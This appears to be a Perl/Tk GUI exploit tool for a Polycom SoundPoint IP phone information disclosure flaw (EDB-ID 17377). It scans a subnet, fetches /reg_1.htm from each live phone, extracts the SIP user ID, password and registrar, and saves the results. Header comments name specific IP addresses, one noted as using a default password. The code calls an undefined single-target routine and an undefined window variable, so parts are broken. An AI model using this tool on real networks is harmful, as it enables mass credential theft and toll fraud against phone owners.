# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------
#63.99.26.26/27
#63.99.26.25 authentification avec password par défaut

use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use LWP::UserAgent;
use HTTP::Request;
use Net::Ping; # http://search.cpan.org/~smpeters/Net-Ping-2.36/lib/Net/Ping.pm
use Net::Netmask; # http://search.cpan.org/dist/Net-Netmask/
use Net::Subnets;

# Declaring functions for network analyzing stuff. Thus no argument passing for function. Its all full available variable.
$p=Net::Ping->new("icmp");

# Variable
my $ScanType = "single";
my $IpAddress = "";
my $SubnetToScan = "";
my $Results = "";

my $subweb_mw = MainWindow->new(
						-title => 'Polycom SoundPoint IP "reg_1.html" Information Disclosure Vulnerability');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
$file_mb->command(
			-label=>"Vulnerability details",
			-command => sub {&EXPLANATION}
			);		
$file_mb->command(
		-label=>'Launch exploit',
		-command => 
			sub 
			{
				if ($ScanType =~ /single/)
				{
					&EXPLOITSINGLE;	
				}
				elsif ($ScanType =~ /scan/)
				{
					&EXPLOITSUBNET;
				}
			}
		);

$file_mb->command(
			-label=>"Save scan results",
			-command => sub {&SAVERESULTS}
			);
			
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#----------
my $FrameTOP = $subweb_mw -> Frame ();
my $rdb_scan = $FrameTOP  -> Radiobutton(-text=>"IP Subnet to scan",
												-value=>"scan",
												-variable=>\$ScanType);
$rdb_scan -> pack (-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE1 = $subweb_mw -> Frame ();

$FrameMIDDLE1->Label(
	-text => 'Enter subnet to scan (192.168.1.0/24):  '
	)->pack(-side => 'left');
my $TextLabel = $FrameMIDDLE1 -> Entry(
	-textvariable => \$SubnetToScan,
	- width => 45,
	)->pack(-side => 'left');
$FrameMIDDLE1 -> pack (-side => 'top', -anchor => 'w');

#----------	
my $FrameMIDDLE2 = $subweb_mw -> Frame ();
my $rdb_single = $FrameMIDDLE2 -> Radiobutton(-text=>"Single IP Phone",  
												-value=>"single",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE2 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE3 = $subweb_mw -> Frame ();
$FrameMIDDLE3->Label(
	-text => 'IP Phone address to scan (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE3 -> Entry(
	-textvariable => \$IpAddress,
	- width => 45,
	)->pack(-side => 'left');
$FrameMIDDLE3 -> pack (-side => 'top', -anchor => 'w');
#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

my $TextWidget = $FrameMIDDLE4  -> Text(); 
$TextWidget->configure(-height => 28);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);
$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);

$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);
$scrollbar->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');
#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------

sub EXPLOITSUBNET
{
	# Subnet testing
	$Results = "";
	if ($SubnetToScan =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/[0-9]{1,2}/)
	{
		my $WebPage = "";
		$TextWidget -> delete('0.0', 'end');
		
		#---- Creating a table with all the IP adresses -------
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$SubnetToScan );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );
		
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget -> insert ("end","Launch exploit\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";
						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;		

			if ($p->ping($IpAddress)) 
			{	
				my $URL="http://".$IpAddress."/reg_1.htm ";
				my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
				my $header = HTTP::Request->new(GET => $URL);
				my $request = HTTP::Request->new('GET', $URL, $header);
				my $response = $agent->request($request);
				print $response;
				my $UserID = "";
				my $UserPassword = "";
				my $UserServer = "";
				
				# Check the outcome of the response
				if ($response->is_success)
				{
					$WebPage = $response->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage;
					close FILE;
					open FILE2, "temp.txt";
					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /reg.1.auth.userId/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID = @splitAnalyze[5];
						}
						if ($line =~ /reg.1.auth.password/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword = @splitAnalyze[5];
						}
						if ($line =~ /reg.1.server.1.address/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserServer = @splitAnalyze[5];
						}				
					}
					close FILE2;
					unlink ("temp.txt");
					
				    $TextWidget -> insert ("end","Polycom Soundpoint IP address:$IpAddress\n");
				    $TextWidget -> insert ("end","UserID: $UserID\n");
				    $TextWidget -> insert ("end","UserPassword: $UserPassword\n");
				    $TextWidget -> insert ("end","Registrar: $UserServer\n");
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Polycom Soundpoint IP address:$IpAddress\n";	
					$Results = $Results."UserID: $UserID\n";
					$Results = $Results."UserPassword: $UserPassword\n";
					$Results = $Results."Registrar: $UserServer\n";	
					$Results = $Results."-------------------------------------------------------------------------------\n";


				}
				elsif ($response->is_error)
				{
				    $TextWidget -> insert ("end","Polycom Soundpoint IP address:$IpAddress\n");
				    $TextWidget -> insert ("end","Error: Unable to get web page.\n");
				    $TextWidget -> insert ("end","$response->error_as_HTML\n");
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Polycom Soundpoint IP address:$IpAddress\n";	
					$Results = $Results."Error: Unable to get web page.\n";
					$Results = $Results."$response->error_as_HTML\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";
					
					
					
				}	
	    	}
	    }
	    $TextWidget -> insert ("end","END\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
	}
	else
	{
		$mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}
sub EXPLANATION
{
	$TextWidget -> delete('0.0', 'end');
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget -> insert ("end", "Vulnerability: Polycom IP Phone Web Interface Data Diclosure Vulnerability\n");
	$TextWidget -> insert ("end", "OSVDB-ID: 73117	\n");
	$TextWidget -> insert ("end", "EDB-ID: 17377 \n");
	$TextWidget -> insert ("end", "Date: 08/06/2011\n");
	$TextWidget -> insert ("end", "Author: Pr0T3cT10n\n");
	$TextWidget -> insert ("end", "Website Link: http://www.polycom.com\n");
	$TextWidget -> insert ("end", "Tested on Version: ALL\n");
	$TextWidget -> insert ("end", "Patch: unknown\n\n");
	$TextWidget -> insert ("end", "DATA DISCLOSURE:\n");
	$TextWidget -> insert ("end", "The data disclosure vulnerability found in the section of 'Lines' -> 'Line 1' \n");
	$TextWidget -> insert ("end", "of 'Polycom IP Phone' software. The vulnerability allows the attacker to \n");
	$TextWidget -> insert ("end", "disclosure the password of the username for the phone line that connected.\n");
	$TextWidget -> insert ("end", "To exploit the vulnerability and discluse the data we need to access to the \n");
	$TextWidget -> insert ("end", "'Polycom IP Phone' by this url 'http://address/reg_1.htm'.\n");
	$TextWidget -> insert ("end", "Then we can see in the source code by the field 'reg.1.auth.password' and then \n");
	$TextWidget -> insert ("end", "we see the magic! thats is the password for the username by the sip server.\n");
	$TextWidget -> insert ("end", "Now if we already have the sip server, username and password so we can connect \n");
	$TextWidget -> insert ("end", "to it with any softphone and make our calls.\n\n");	
	
	$TextWidget -> insert ("end", "WORKAROUND\n");
	$TextWidget -> insert ("end", "Disable the web interfaces as soon as possible.\n");
	$TextWidget -> insert ("end", "Change default passwords.\n");
	$TextWidget -> insert ("end", "Keep IP Address private (public networks are to avoid\n");
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget  -> update ();	
	$TextWidget  -> see ('end'); 		
}

sub SAVERESULTS
{
	my $FileToSave = $subweb_mw->getSaveFile(
							-defaultextension => '.txt',
                            -initialdir => "user_data"
                              );

	open (TOSAVE, ">>$FileToSave");
	print TOSAVE $Results;
	close (TOSAVE);
	
}	
